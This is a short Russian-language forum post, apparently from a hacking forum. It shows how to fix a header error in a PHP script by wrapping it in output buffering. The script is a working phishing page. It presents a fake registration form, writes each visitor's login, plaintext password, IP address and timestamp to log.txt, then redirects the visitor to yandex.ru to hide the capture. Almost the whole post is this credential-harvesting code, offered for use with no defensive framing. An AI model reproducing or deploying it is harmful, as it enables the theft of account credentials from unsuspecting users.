
20.04.2008, 22:28
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Сообщение от .:EnoT:.
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.
Всеравно не получается!
где именно вставить?
омг
PHP код:
<?php
ob_start();
function reglog($filename, $login, $pass)
{
$d = date("d.m.Y - H.i.s");
$addr = getenv('REMOTE_ADDR');
$str = 'Login '.$login."\n";
$str .= 'Password '.$pass."\n";
$str .= 'IP '.$addr."\n";
$str .= 'Date '.$d."\n";
$f = fopen($filename, "a+");
fwrite($f, $str."\n");
fclose($f);
header('location: http://yandex.ru');
return true;
}
$filename = 'log.txt';
if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']);
ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
<tr>
<td width="25%">Login</td>
<td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br>
<tr>
<td>Password2</td>
<td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Register" name="go"><br>
</td>
</tr>
</form>
|
|
|